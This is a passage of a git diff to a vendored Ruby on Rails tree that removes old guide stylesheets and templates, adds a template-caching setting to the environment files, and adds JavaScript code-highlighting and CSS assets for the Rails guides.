+performance_test+ for creating new performance tests: - -[source, shell] ----------------------------------------------------------------------------- -script/generate metal poller ----------------------------------------------------------------------------- - -This generates +poller.rb+ in the +app/metal+ directory: - -[source, ruby] ----------------------------------------------------------------------------- -# Allow the metal piece to run in isolation -require(File.dirname(__FILE__) + "/../../config/environment") unless defined?(Rails) - -class Poller - def self.call(env) - if env["PATH_INFO"] =~ /^\/poller/ - [200, {"Content-Type" => "text/html"}, ["Hello, World!"]] - else - [404, {"Content-Type" => "text/html"}, ["Not Found"]] - end - end -end ----------------------------------------------------------------------------- - -Metal applications are an optimization. You should make sure to http://weblog.rubyonrails.org/2008/12/20/performance-of-rails-metal[understand the related performance implications] before using it. - -=== Execution Order === - -All Metal Applications are executed by +Rails::Rack::Metal+ middleware, which is a part of the +ActionController::MiddlewareStack+ chain. - -Here's the primary method responsible for running the Metal applications: - -[source, ruby] ----------------------------------------------------------------------------- -def call(env) - @metals.keys.each do |app| - result = app.call(env) - return result unless result[0].to_i == 404 - end - @app.call(env) -end ----------------------------------------------------------------------------- - -In the code above, +@metals+ is an ordered ( alphabetical ) hash of metal applications. Due to the alphabetical ordering, +aaa.rb+ will come before +bbb.rb+ in the metal chain. - -IMPORTANT: Metal applications cannot return the HTTP Status +404+ to a client, as it is used for continuing the Metal chain execution. Please use normal Rails controllers or a custom middleware if returning +404+ is a requirement. - -== Middlewares and Rails == - -== Changelog == - -http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4[Lighthouse ticket] - -* January 11, 2009: First version by link:../authors.html#lifo[Pratik] \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/stylesheets/base.css b/vendor/rails/railties/doc/guides/source/stylesheets/base.css deleted file mode 100644 index 2bf0b93c..00000000 --- a/vendor/rails/railties/doc/guides/source/stylesheets/base.css +++ /dev/null @@ -1,362 +0,0 @@ -/* ---------------------------------------------------------------------------- - - Ruby on Rails, hijacked for Hieraki - Stylesheet for http://rubyonrails.org - - 1. General HTML elements - 2. General classes - 3. General structure - 1. header - 2. Content - 3. Sidebar - 4. Sitewide elements - 1. Introduction boxes - 2. Navigation - 5. Elements for specific areas - 1. Weblog - ----------------------------------------------------------------------------- */ - -* { - margin: 0; - padding: 0; -} - -body { - color: #333333; - - background-color: #FFFFFF; - background-image: url(../images/header_backdrop.png); - background-repeat: repeat-x; - background-position: 0 -25px; - - font-size: 80%; - font-family: verdana, helvetica, arial, sans-serif; - line-height: 1.7em; - - /* Center in IE5.5 */ - text-align: center; -} - -h1 { - font-size: 2em; - font-weight: normal; - letter-spacing: -0.04em; -} - -h2 { - font-size: 1.5em; - font-weight: normal; - letter-spacing: -0.04em; -} - -h1,h2,h3,h4,h5,h6 { - margin-top: 1em; - margin-bottom: 0.5em; -} -.pageheader a:link, .pageheader a:visited{ - color: #333; - text-decoration: none; -} - -img { - border: none; -} - -p { - margin-bottom: 1em; -} - -a:link { - color: #BB2233; -} - -a:visited { - color: #991122; -} - -a:hover { - color: #CC2233; - background-color: #EEEEEE; -} - -a:active { -} - -ul { - margin-top: 1em; - list-style-type: none; -} - -ul li { - margin-left: 0.5em; - padding-left: 1em; - - background-image: url(../images/bullet.gif); - background-repeat: no-repeat; - background-position: 0 0.55em; -} - -ul li p { - margin-bottom: 0.5em; -} - -/* ---------------------------------------------------------------------------- - Structure ----------------------------------------------------------------------------- */ - -div#container { - width: 90%; - max-width: 790px; - - margin-top: 10px; - margin-left: auto; - margin-right: auto; - - font-size: 1em; - - /* Don't center text, only div#container */ - text-align: left; -} - -div#header { - /* This height controls the vertical position of #content and #sidebar */ - height: 160px; - overflow: hidden; -} - -div#header h1 { - height: 30px; - - margin: 0; - margin-top: 10px; - margin-left: 100px; - padding: 0; - font-weight: bold; - font-size: 24pt; -} -div#header p { - height: 30px; - margin: 0; - margin-left: 160px; - padding: 0; - font-weight: bold; - font-size: 14pt; - color: #999; -} -/* -div#logo { - float: left; - width: 110px; - height: 140px; - margin-right: 31px; -} -*/ - - -div#content { - margin-left: 170px; -} - -/* Fix the IE only 3pixel jog - documented at http://www.positioniseverything.net/articles/hollyhack.html#haslayout \*/ -* html #content { - height: 1px; -} -/* End hide from IE5-mac */ - -div#sidebar { - float: left; - width: 170px; - margin-top: -4px; - font-size: 0.8em; -} - -div#sidebar h2 { - margin: 0; - font-size: 1.1em; - font-weight: bold; -} - -div#sidebar ul { - margin-top: 0; - margin-bottom: 1em; - padding: 0; -} - -div#sidebar ol li { - margin: 0 0 2px 0px; - padding: 0; - line-height: 1.3em; - background-image: none; -} - -div#sidebar ol li a { - display: block; - width: 150px; - padding: 0.2em 0; -} - -div#sidebar ul li { - margin-left: 10px; -} - -div#sidebar ol>ol { - padding-left: 5px; - padding-right: 5px; - list-style-type: none; - -} - -div#sidebar ol>ol li a { - display: block; - width: 140px; - padding: 0.2em 0; - margin-left: 10px; - -} - -div#sidebar ol li a:hover { -} - -/* ---------------------------------------------------------------------------- - Specific site-wide elements ----------------------------------------------------------------------------- */ - -/* Introduction boxes */ - -.introduction { - - margin-bottom: 1em; - padding: 1em; - background-color: #D6DFE8; -} - -.introduction p { - margin-bottom: 0; -} - -/* Navigation */ - -ul#navMain { - height: 22px; - margin: 0; - margin-left: 140px; - padding: 16px 0; - - list-style-type: none; -} - -ul#navMain li { - display: inline; - background-image: none; - margin: 0; - padding: 0; -} - -ul#navMain li { - border-left: 1px solid #FFFFFF; -} - -ul#navMain li.first-child { - /* Wouldn't it be nice if IE was up-to-date with the rest of the world so we could skip - superfluous classes? */ - border-left: none; -} - -ul#navMain li a { - padding: 0.2em 1em; - - color: #FFFFFF; - text-decoration: none; -} - -ul#navMain li.first-child a { - /* Wouldn't it be nice if IE was up-to-date with the rest of the world? */ - padding-left: 0; -} - -ul#navMain li a:hover { - text-decoration: underline; - background-color: transparent; -} - -/* Mark the current page */ -ul#navMain li.current a { - font-weight: bold; -} - - -/* ---------------------------------------------------------------------------- - Elements for specific areas ----------------------------------------------------------------------------- */ - -/* Weblog */ - -.blogEntry { - margin-bottom: 2em; -} - -.blogEntry h2 { - margin-top: 0; - margin-bottom: 0; -} - -p.metaData { - color: #999999; - font-size: 0.9em; -} - - -/* Reference documentation */ - -#reference #sidebar { - display: none; - width: 0; -} - -#reference #content { - margin-left: 0; -} - -#reference #content #api { - width: 100%; - height: 800px; -} - -#reference #logo { - width: 80px; - height: 86px; - - margin-right: 0; -} - -#reference #logo img { - height: 84px; -} - -#reference { - /* The header is smaller on the reference page, move the background up so the menu is in the - proper place still */ - background-position: 0 -70px; -} - -#reference #header { - height: 90px; -} - -#reference #header h1 { - height: 24px; - - margin-top: 2px; - margin-left: 0; - - background-image: none; - - text-indent: 0; - font-size: 1.5em; - font-weight: bold; - -} -#reference #container { - max-width: 100%; -} \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/stylesheets/forms.css b/vendor/rails/railties/doc/guides/source/stylesheets/forms.css deleted file mode 100644 index 1da34dc9..00000000 --- a/vendor/rails/railties/doc/guides/source/stylesheets/forms.css +++ /dev/null @@ -1,35 +0,0 @@ -label, input { - display: block; - float: left; - margin-bottom: 10px; -} - -label { - text-align: right; - width: 80px; - padding-right: 5px; - font-weight: bold; -} - - -table { - border: 0; -} - -form>h1{ - - padding-bottom: 2px; - border-bottom: 1px solid gray; - margin-bottom: 30px; - -} - -td { - vertical-align: top; -} - -#livepreview { - padding: 5px; - border: 1px solid #ccc; - -} \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/stylesheets/more.css b/vendor/rails/railties/doc/guides/source/stylesheets/more.css deleted file mode 100644 index 756ae06d..00000000 --- a/vendor/rails/railties/doc/guides/source/stylesheets/more.css +++ /dev/null @@ -1,253 +0,0 @@ -.admin { - display:none; -} - -#navAuthor { - text-align: right; -} - -.bookinfo, .userinfo, pre { - padding: 10px; - background: #eee; - border: 1px solid #ccc; -} - -pre { - overflow: auto; -} - -#content pre, #content ul { - margin-bottom: 10px; -} - -#content ol>ol { - padding-left : 30px; -} - -div#header h1 a{ - color: #333333; - text-decoration: none; -} - -div#header p a{ - text-decoration: none; - color: #999; -} - -.left-floaty { - padding: 3px 15px; - float:left; -} - -.right-floaty { - float:right; - padding: 3px 15px; -} - -.figure { - border: 1px solid black; - line-height: normal; - background: #FFE; - margin: 1em; -} - -.figure .caption { - background: #B00; - color: white; - font-weight: bold; - padding: 4px 24px 4px 8px; - margin-left: -4px; - border: 1px dotted #F77; -} - -.figure .body { - padding: 0.5em; - margin-top: 0.5em; -} - -.figure pre { - padding: 0px; - background: transparent; - border: none; - font-size: small; - font-family: mono; -} - -.figure .lineno { - text-align: right; - color: #B00; - font-family: mono; - font-size: small; - padding-right: 1em; -} - -div#container { - max-width: 900px; - padding-bottom: 3em; -} - -div#content { - margin-left: 200px; -} - -div#container.notoc { - max-width: 600px; -} - -.notoc div#content { - margin-left: 0; -} - -pre { - line-height: 1.4em; -} - -#content p tt { - background: #eeeeee; - border: solid 1px #cccccc; - padding: 3px; -} - -dt { - font-weight: bold; -} - -#content dt tt { - font-size: 10pt; -} - -dd { - margin-left: 3em; -} - -#content dt tt, #content pre tt { - background: none; - padding: 0; - border: 0; -} - -#content .olist ol { - margin-left: 2em; -} - -#header { - position: relative; - max-width: 840px; - margin-left: auto; - margin-right: auto; -} - -#header.notoc { - max-width: 580px; -} - -#logo { - position: absolute; - left: 10px; - top: 10px; - width: 110px; - height: 140px; -} - -div#header h1#site_title { - background: url('../images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; - position: absolute; - width: 392px; - height: 55px; - left: 145px; - top: 20px; - margin: 0; - padding: 0; -} - -#site_title span { - display: none; -} - -#site_title_tagline { - display: none; -} - -ul#navMain { - position: absolute; - margin: 0; - padding: 0; - top: 97px; - left: 145px; -} - -.left-floaty, .right-floaty { - padding: 15px; -} - -.admonitionblock, -.tableblock { - margin-left: 1em; - margin-right: 1em; - margin-top: 0.25em; - margin-bottom: 1em; -} - -.admonitionblock .icon { - padding-right: 8px; -} - -.admonitionblock .content { - border: solid 1px #ffda78; - background: #fffebd; - padding: 10px; - padding-top: 8px; - padding-bottom: 8px; -} - -.admonitionblock .title { - font-size: 140%; - margin-bottom: 0.5em; -} - -.tableblock table { - border: solid 1px #aaaaff; - background: #f0f0ff; -} - -.tableblock th { - background: #e0e0e0; -} - -.tableblock th, -.tableblock td { - padding: 3px; - padding-left: 5px; - padding-right: 5px; -} - -.sidebarblock { - margin-top: 0.25em; - margin: 1em; - border: solid 1px #ccccbb; - padding: 8px; - background: #ffffe0; -} - -.sidebarblock .sidebar-title { - font-size: 140%; - font-weight: 600; - margin-bottom: 0.3em; -} - -.sidebarblock .sidebar-content > .para:last-child > p { - margin-bottom: 0; -} - -.sidebarblock .sidebar-title a { - text-decoration: none; -} - -.sidebarblock .sidebar-title a:hover { - text-decoration: underline; -} - - - - - diff --git a/vendor/rails/railties/doc/guides/source/templates/guides.html.erb b/vendor/rails/railties/doc/guides/source/templates/guides.html.erb deleted file mode 100644 index ae1145c1..00000000 --- a/vendor/rails/railties/doc/guides/source/templates/guides.html.erb +++ /dev/null @@ -1,94 +0,0 @@ -<%- - manuals_index_url = ENV['MANUALSONRAILS_INDEX_URL'] || "index.html" - show_toc = ENV['MANUALSONRAILS_TOC'] != 'no' --%> - - - - - <%- if multi_page? && !is_preamble? -%><%=h current_chapter.plain_title %> :: <% end %><%=h title %> - - - - - - - - -
class="notoc"<% end %>> - <% if show_toc %> - - <% end %> -
- <%- if multi_page? && !is_preamble? -%> -

<%= current_chapter.title %>

- <%- else -%> -

<%=h title %>

- <%- end -%> - <%= contents %> - <%- if multi_page? -%> -
- <%- if prev_chapter -%> -
- « <%= prev_chapter.title %> -
- <%- end -%> - <%- if next_chapter -%> -
- <%= next_chapter.title %> » -
- <%- end -%> -
- <%- end -%> -
-
- - diff --git a/vendor/rails/railties/environments/production.rb b/vendor/rails/railties/environments/production.rb index 1fc9f6b9..27119d2d 100644 --- a/vendor/rails/railties/environments/production.rb +++ b/vendor/rails/railties/environments/production.rb @@ -7,6 +7,7 @@ config.cache_classes = true # Full error reports are disabled and caching is turned on config.action_controller.consider_all_requests_local = false config.action_controller.perform_caching = true +config.action_view.cache_template_loading = true # See everything in the log (default is :info) # config.log_level = :debug diff --git a/vendor/rails/railties/environments/test.rb b/vendor/rails/railties/environments/test.rb index 496eb957..d6f80a40 100644 --- a/vendor/rails/railties/environments/test.rb +++ b/vendor/rails/railties/environments/test.rb @@ -12,6 +12,7 @@ config.whiny_nils = true # Show full error reports and disable caching config.action_controller.consider_all_requests_local = true config.action_controller.perform_caching = false +config.action_view.cache_template_loading = true # Disable request forgery protection in test environment config.action_controller.allow_forgery_protection = false diff --git a/vendor/rails/railties/guides/files/javascripts/code_highlighter.js b/vendor/rails/railties/guides/files/javascripts/code_highlighter.js new file mode 100755 index 00000000..ce983dad --- /dev/null +++ b/vendor/rails/railties/guides/files/javascripts/code_highlighter.js @@ -0,0 +1,188 @@ +/* Unobtrustive Code Highlighter By Dan Webb 11/2005 + Version: 0.4 + + Usage: + Add a script tag for this script and any stylesets you need to use + to the page in question, add correct class names to CODE elements, + define CSS styles for elements. That's it! + + Known to work on: + IE 5.5+ PC + Firefox/Mozilla PC/Mac + Opera 7.23 + PC + Safari 2 + + Known to degrade gracefully on: + IE5.0 PC + + Note: IE5.0 fails due to the use of lookahead in some stylesets. To avoid script errors + in older browsers use expressions that use lookahead in string format when defining stylesets. + + This script is inspired by star-light by entirely cunning Dean Edwards + http://dean.edwards.name/star-light/. +*/ + +// replace callback support for safari. +if ("a".replace(/a/, function() {return "b"}) != "b") (function(){ + var default_replace = String.prototype.replace; + String.prototype.replace = function(search,replace){ + // replace is not function + if(typeof replace != "function"){ + return default_replace.apply(this,arguments) + } + var str = "" + this; + var callback = replace; + // search string is not RegExp + if(!(search instanceof RegExp)){ + var idx = str.indexOf(search); + return ( + idx == -1 ? str : + default_replace.apply(str,[search,callback(search, idx, str)]) + ) + } + var reg = search; + var result = []; + var lastidx = reg.lastIndex; + var re; + while((re = reg.exec(str)) != null){ + var idx = re.index; + var args = re.concat(idx, str); + result.push( + str.slice(lastidx,idx), + callback.apply(null,args).toString() + ); + if(!reg.global){ + lastidx += RegExp.lastMatch.length; + break + }else{ + lastidx = reg.lastIndex; + } + } + result.push(str.slice(lastidx)); + return result.join("") + } +})(); + +var CodeHighlighter = { styleSets : new Array }; + +CodeHighlighter.addStyle = function(name, rules) { + // using push test to disallow older browsers from adding styleSets + if ([].push) this.styleSets.push({ + name : name, + rules : rules, + ignoreCase : arguments[2] || false + }) + + function setEvent() { + // set highlighter to run on load (use LowPro if present) + if (typeof Event != 'undefined' && typeof Event.onReady == 'function') + return Event.onReady(CodeHighlighter.init.bind(CodeHighlighter)); + + var old = window.onload; + + if (typeof window.onload != 'function') { + window.onload = function() { CodeHighlighter.init() }; + } else { + window.onload = function() { + old(); + CodeHighlighter.init(); + } + } + } + + // only set the event when the first style is added + if (this.styleSets.length==1) setEvent(); +} + +CodeHighlighter.init = function() { + if (!document.getElementsByTagName) return; + if ("a".replace(/a/, function() {return "b"}) != "b") return; // throw out Safari versions that don't support replace function + // throw out older browsers + + var codeEls = document.getElementsByTagName("CODE"); + // collect array of all pre elements + codeEls.filter = function(f) { + var a = new Array; + for (var i = 0; i < this.length; i++) if (f(this[i])) a[a.length] = this[i]; + return a; + } + + var rules = new Array; + rules.toString = function() { + // joins regexes into one big parallel regex + var exps = new Array; + for (var i = 0; i < this.length; i++) exps.push(this[i].exp); + return exps.join("|"); + } + + function addRule(className, rule) { + // add a replace rule + var exp = (typeof rule.exp != "string")?String(rule.exp).substr(1, String(rule.exp).length-2):rule.exp; + // converts regex rules to strings and chops of the slashes + rules.push({ + className : className, + exp : "(" + exp + ")", + length : (exp.match(/(^|[^\\])\([^?]/g) || "").length + 1, // number of subexps in rule + replacement : rule.replacement || null + }); + } + + function parse(text, ignoreCase) { + // main text parsing and replacement + return text.replace(new RegExp(rules, (ignoreCase)?"gi":"g"), function() { + var i = 0, j = 1, rule; + while (rule = rules[i++]) { + if (arguments[j]) { + // if no custom replacement defined do the simple replacement + if (!rule.replacement) return "" + arguments[0] + ""; + else { + // replace $0 with the className then do normal replaces + var str = rule.replacement.replace("$0", rule.className); + for (var k = 1; k <= rule.length - 1; k++) str = str.replace("$" + k, arguments[j + k]); + return str; + } + } else j+= rule.length; + } + }); + } + + function highlightCode(styleSet) { + // clear rules array + var parsed, clsRx = new RegExp("(\\s|^)" + styleSet.name + "(\\s|$)"); + rules.length = 0; + + // get stylable elements by filtering out all code elements without the correct className + var stylableEls = codeEls.filter(function(item) { return clsRx.test(item.className) }); + + // add style rules to parser + for (var className in styleSet.rules) addRule(className, styleSet.rules[className]); + + + // replace for all elements + for (var i = 0; i < stylableEls.length; i++) { + // EVIL hack to fix IE whitespace badness if it's inside a 
+			if (/MSIE/.test(navigator.appVersion) && stylableEls[i].parentNode.nodeName == 'PRE') {
+				stylableEls[i] = stylableEls[i].parentNode;
+
+				parsed = stylableEls[i].innerHTML.replace(/(]*>)([^<]*)<\/code>/i, function() {
+					return arguments[1] + parse(arguments[2], styleSet.ignoreCase) + ""
+				});
+				parsed = parsed.replace(/\n( *)/g, function() {
+					var spaces = "";
+					for (var i = 0; i < arguments[1].length; i++) spaces+= " ";
+					return "\n" + spaces;
+				});
+				parsed = parsed.replace(/\t/g, "    ");
+				parsed = parsed.replace(/\n(<\/\w+>)?/g, "
$1").replace(/
[\n\r\s]*
/g, "

");
+
+			} else parsed = parse(stylableEls[i].innerHTML, styleSet.ignoreCase);
+
+			stylableEls[i].innerHTML = parsed;
+		}
+	}
+
+	// run highlighter on all stylesets
+	for (var i=0; i < this.styleSets.length; i++) {
+		highlightCode(this.styleSets[i]);
+	}
+}
diff --git a/vendor/rails/railties/guides/files/javascripts/guides.js b/vendor/rails/railties/guides/files/javascripts/guides.js
new file mode 100755
index 00000000..81fc07e7
--- /dev/null
+++ b/vendor/rails/railties/guides/files/javascripts/guides.js
@@ -0,0 +1,8 @@
+function guideMenu(){
+
+  if (document.getElementById('guides').style.display == "none") {
+    document.getElementById('guides').style.display = "block";
+  } else {
+    document.getElementById('guides').style.display = "none";
+  }
+}
diff --git a/vendor/rails/railties/guides/files/javascripts/highlighters.js b/vendor/rails/railties/guides/files/javascripts/highlighters.js
new file mode 100644
index 00000000..4f5f0779
--- /dev/null
+++ b/vendor/rails/railties/guides/files/javascripts/highlighters.js
@@ -0,0 +1,90 @@
+CodeHighlighter.addStyle("css", {
+	comment : {
+		exp  : /\/\*[^*]*\*+([^\/][^*]*\*+)*\//
+	},
+	keywords : {
+		exp  : /@\w[\w\s]*/
+	},
+	selectors : {
+		exp  : "([\\w-:\\[.#][^{};>]*)(?={)"
+	},
+	properties : {
+		exp  : "([\\w-]+)(?=\\s*:)"
+	},
+	units : {
+		exp  : /([0-9])(em|en|px|%|pt)\b/,
+		replacement : "$1$2"
+	},
+	urls : {
+		exp  : /url\([^\)]*\)/
+	}
+ });
+
+CodeHighlighter.addStyle("ruby",{
+	comment : {
+		exp  : /#[^\n]+/
+	},
+	brackets : {
+		exp  : /\(|\)/
+	},
+	string : {
+		exp  : /'[^']*'|"[^"]*"/
+	},
+	keywords : {
+		exp  : /\b(do|end|self|class|def|if|module|yield|then|else|for|until|unless|while|elsif|case|when|break|retry|redo|rescue|require|raise)\b/
+	},
+	/* Added by Shelly Fisher (shelly@agileevolved.com) */
+	symbol : {
+	  exp : /([^:])(:[A-Za-z0-9_!?]+)/
+	},
+	ivar : {
+	  exp : /\@[A-Za-z0-9_!?]+/
+	}
+});
+
+CodeHighlighter.addStyle("html", {
+	comment : {
+		exp: /<!\s*(--([^-]|[\r\n]|-[^-])*--\s*)>/
+	},
+	tag : {
+		exp: /(<\/?)([a-zA-Z1-9]+\s?)/,
+		replacement: "$1$2"
+	},
+	string : {
+		exp  : /'[^']*'|"[^"]*"/
+	},
+	attribute : {
+		exp: /\b([a-zA-Z-:]+)(=)/,
+		replacement: "$1$2"
+	},
+	doctype : {
+		exp: /<!DOCTYPE([^&]|&[^g]|&g[^t])*>/
+	}
+});
+
+CodeHighlighter.addStyle("javascript",{
+	comment : {
+		exp  : /(\/\/[^\n]*(\n|$))|(\/\*[^*]*\*+([^\/][^*]*\*+)*\/)/
+	},
+	brackets : {
+		exp  : /\(|\)/
+	},
+	string : {
+		exp  : /'[^']*'|"[^"]*"/
+	},
+	keywords : {
+		exp  : /\b(arguments|break|case|continue|default|delete|do|else|false|for|function|if|in|instanceof|new|null|return|switch|this|true|typeof|var|void|while|with)\b/
+	},
+	global : {
+		exp  : /\b(toString|valueOf|window|element|prototype|constructor|document|escape|unescape|parseInt|parseFloat|setTimeout|clearTimeout|setInterval|clearInterval|NaN|isNaN|Infinity)\b/
+	}
+});
+
+CodeHighlighter.addStyle("yaml", {
+	keyword : {
+		exp  : /\/\*[^*]*\*+([^\/][^*]*\*+)*\//
+	},
+	value : {
+		exp  : /@\w[\w\s]*/
+	},
+});
diff --git a/vendor/rails/railties/guides/files/stylesheets/main.css b/vendor/rails/railties/guides/files/stylesheets/main.css
new file mode 100644
index 00000000..f8302505
--- /dev/null
+++ b/vendor/rails/railties/guides/files/stylesheets/main.css
@@ -0,0 +1,577 @@
+/* Guides.rubyonrails.org */
+/* Main.css */
+/* Created January 30, 2009 */
+/* Modified January 31, 2009
+--------------------------------------- */
+
+/* General
+--------------------------------------- */
+
+.left {
+    float: left;
+    margin-right: 1em;
+}
+.right {
+    float: right;
+    margin-left: 1em;
+}
+.small {
+    font-size: smaller;
+}
+.large {
+    font-size: larger;
+}
+.hide {
+    display: none;
+}
+
+li ul, li ol {
+    margin: 0 1.5em;
+}
+ul, ol {
+    margin: 0 1.5em 1.5em 1.5em;
+}
+
+ul {
+    list-style-type: disc;
+}
+ol {
+    list-style-type: decimal;
+}
+
+dl {
+    margin: 0 0 1.5em 0;
+}
+dl dt {
+    font-weight: bold;
+}
+dd {
+    margin-left: 1.5em;
+}
+
+pre,code {
+    margin: 1.5em 0;
+    white-space: pre;
+}
+pre,code {
+    font: 1em 'andale mono', 'lucida console', monospace;
+    line-height: 1.5;
+}
+
+abbr, acronym {
+    border-bottom: 1px dotted #666;
+}
+address {
+    margin: 0 0 1.5em;
+    font-style: italic;
+}
+del {
+    color: #666;
+}
+
+blockquote {
+    margin: 1.5em;
+    color: #666;
+    font-style: italic;
+}
+strong {
+    font-weight: bold;
+}
+em, dfn {
+    font-style: italic;
+}
+dfn {
+    font-weight: bold;
+}
+sup, sub {
+    line-height: 0;
+}
+p {
+    margin: 0 0 1.5em;
+}
+
+label {
+    font-weight: bold;
+}
+fieldset {
+    padding: 1.4em;
+    margin: 0 0 1.5em 0;
+    border: 1px solid #ccc;
+}
+legend {
+    font-weight: bold;
+    font-size: 1.2em;
+}
+
+input.text, input.title, textarea, select {
+    margin: 0.5em 0em;
+    border: 1px solid #bbb;
+}
+
+table {
+    margin: 1em 0;
+    border: 1px solid #ddd;
+    background: #f4f4f4;
+    border-spacing: 0;
+}
+
+table th, table td {
+    padding: 0.25em;
+    border-right: 1px dotted #e0e0e0;
+    border-bottom: 1px dotted #e0e0e0;
+}
+
+table th:last-child, table td:last-child {
+    border-right: none;
+}
+
+table th {
+    border-bottom: 1px solid #ddd;
+    background: #f0f0f0;
+    font-weight: bold;
+}
+
+table tt {
+    padding: 0.1em;
+}
+
+
+/* Structure and Layout
+--------------------------------------- */
+
+body {
+    text-align: center;
+    font-family: Helvetica, Arial, sans-serif;
+    font-size: 87.5%;
+    line-height: 1.5em;
+    background: #222;
+    color: #999;
+}
+
+.wrapper {
+    text-align: left;
+    margin: 0 auto;
+    width: 69em;
+}
+
+#topNav {
+    padding: 1em 0;
+    color: #565656;
+}
+
+#header {
+    background: #c52f24 url(../../images/header_tile.gif) repeat-x;
+    color: #FFF;
+    padding: 1.5em 0;
+    position: relative;
+    z-index: 99;
+}
+
+#feature {
+    background: #d5e9f6 url(../../images/feature_tile.gif) repeat-x;
+    color: #333;
+    padding: 0.5em 0 1.5em;
+}
+
+#container {
+    background: #FFF;
+    color: #333;
+    padding: 0.5em 0 1.5em 0;
+}
+
+#mainCol {
+    width: 45em;
+    margin-left: 2em;
+}
+
+#subCol {
+    position: absolute;
+    z-index: 0;
+    top: 0;
+    right: 0;
+    background: #FFF;
+    padding: 1em 1.5em 1em 1.25em;
+    width: 17em;
+    font-size: 0.9285em;
+    line-height: 1.3846em;
+}
+
+#extraCol {
+    display: none;
+}
+
+#footer {
+    padding: 2em 0;
+    background: url(../../images/footer_tile.gif) repeat-x;
+}
+#footer .wrapper {
+    padding-left: 2em;
+    width: 67em;
+}
+
+#header .wrapper, #topNav .wrapper, #feature .wrapper {
+    padding-left: 1em;
+    width: 68em;
+}
+#feature .wrapper {
+    width: 45em;
+    padding-right: 23em;
+    position: relative;
+    z-index: 0;
+}
+
+/* Links
+--------------------------------------- */
+
+a, a:link, a:visited {
+    color: #ee3f3f;
+    text-decoration: underline;
+}
+
+#mainCol a, #subCol a {
+    color: #980905;
+}
+
+
+/* Navigation
+--------------------------------------- */
+
+.nav {
+    margin: 0;
+    padding: 0;
+}
+.nav li {
+    display: inline;
+    list-style: none;
+}
+
+#header .nav {
+    float: right;
+    margin-top: 1.5em;
+    font-size: 1.2857em;
+}
+
+#header .nav li {
+    margin: 0 0 0 0.5em;
+}
+#header .nav a {
+    color: #FFF;
+    text-decoration: none;
+}
+#header .nav a:hover {
+    text-decoration: underline;
+}
+
+#header .nav .index {
+    padding: 0.5em 1.5em;
+    border-radius: 1em;
+    -webkit-border-radius: 1em;
+    -moz-border-radius: 1em;
+    background: #980905;
+    position: relative;
+}
+
+#header .nav .index a {
+    background: #980905 url(../../images/nav_arrow.gif) no-repeat right top;
+    padding-right: 1em;
+    position: relative;
+    z-index: 15;
+    padding-bottom: 0.125em;
+}
+#header .nav .index:hover a, #header .nav .index a:hover {
+    background-position: right -81px;
+}
+
+#guides {
+    width: 27em;
+    display: block;
+    background: #980905;
+    border-radius: 1em;
+    -webkit-border-radius: 1em;
+    -moz-border-radius: 1em;
+    -webkit-box-shadow: 0.25em 0.25em 1em rgba(0,0,0,0.25);
+    -moz-box-shadow: rgba(0,0,0,0.25) 0.25em 0.25em 1em;
+    color: #f1938c;
+    padding: 1.5em 2em;
+    position: absolute;
+    z-index: 10;
+    top: -0.25em;
+    right: 0;
+    padding-top: 2em;
+}
+
+#guides dt, #guides dd {
+    font-weight: normal;
+    font-size: 0.722em;
+    margin: 0;
+    padding: 0;
+}
+#guides dt {
+    padding: 0;
+    margin: 0.5em 0 0;
+}
+#guides a {
+    color: #FFF;
+    background: none !important;
+}
+#guides .L, #guides .R {
+    float: left;
+    width: 50%;
+    margin: 0;
+    padding: 0;
+}
+#guides .R {
+    float: right;
+}
+#guides hr {
+    display: block;
+    border: none;
+    height: 1px;
+    color: #f1938c;
+    background: #f1938c;
+}
+
+/* Headings
+--------------------------------------- */
+
+h1 {
+    font-size: 2.5em;
+    line-height: 1em;
+    margin: 0.6em 0 .2em;
+    font-weight: bold;
+}
+
+h2 {
+    font-size: 2.1428em;
+    line-height: 1em;
+    margin: 0.7em 0 .2333em;
+    font-weight: bold;
+}
+
+h3 {
+    font-size: 1.7142em;
+    line-height: 1.286em;
+    margin: 0.875em 0 0.2916em;
+    font-weight: bold;
+}
+
+h4 {
+    font-size: 1.2857em;
+    line-height: 1.2em;
+    margin: 1.6667em 0 .3887em;
+    font-weight: bold;
+}
+
+h5 {
+    font-size: 1em;
+    line-height: 1.5em;
+    margin: 1em 0 .5em;
+    font-weight: bold;
+}
+
+h6 {
+    font-size: 1em;
+    line-height: 1.5em;
+    margin: 1em 0 .5em;
+    font-weight: normal;
+}
+
+/* Content
+--------------------------------------- */
+
+.pic {
+    margin: 0 2em 2em 0;
+}
+
+#topNav strong {
+    color: #999;
+    margin-right: 0.5em;
+}
+#topNav strong a {
+    color: #FFF;
+}
+
+#header h1 {
+    float: left;
+    background: url(../../images/ruby_guides_logo.gif) no-repeat;
+    width: 492px;
+    text-indent: -9999em;
+    margin: 0;
+    padding: 0;
+}
+
+#header h1 a {
+    text-decoration: none;
+    display: block;
+    height: 77px;
+}
+
+#feature p {
+    font-size: 1.2857em;
+    margin-bottom: 0.75em;
+}
+
+#feature ul {
+    margin-left: 0;
+}
+#feature ul li {
+    list-style: none;
+    background: url(../../images/check_bullet.gif) no-repeat left 0.5em;
+    padding: 0.5em 1.75em 0.5em 1.75em;
+    font-size: 1.1428em;
+    font-weight: bold;
+}
+
+#mainCol dd, #subCol dd {
+    padding: 0.25em 0 1em;
+    border-bottom: 1px solid #CCC;
+    margin-bottom: 1em;
+    margin-left: 0;
+    padding-left: 28px;
+}
+
+#mainCol dt, #subCol dt {
+    font-size: 1.2857em;
+    padding: 0.125em 0 0.25em 28px;
+    margin-bottom: 0;
+    background: url(../../images/book_icon.gif) no-repeat left top;
+}
+
+#mainCol dd.ticket, #subCol dd.ticket {
+    background: #fff9d8 url(../../images/tab_yellow.gif) no-repeat left top;
+    border: none;
+    padding: 1.25em 1em 1.25em 48px;
+    margin-left: 0;
+    margin-top: 0.25em;
+}
+
+#mainCol dd.warning, #subCol dd.warning {
+    background: #f9d9d8 url(../../images/tab_red.gif) no-repeat left top;
+    border: none;
+    padding: 1.25em 1.25em 1.25em 48px;
+    margin-left: 0;
+    margin-top: 0.25em;
+}
+
+#subCol .chapters {
+    color: #980905;
+}
+#subCol .chapters a {
+    font-weight: bold;
+}
+#subCol .chapters ul a {
+    font-weight: normal;
+}
+#subCol .chapters li {
+    margin-bottom: 0.75em;
+}
+#subCol h3.chapter {
+    margin-top: 0.25em;
+}
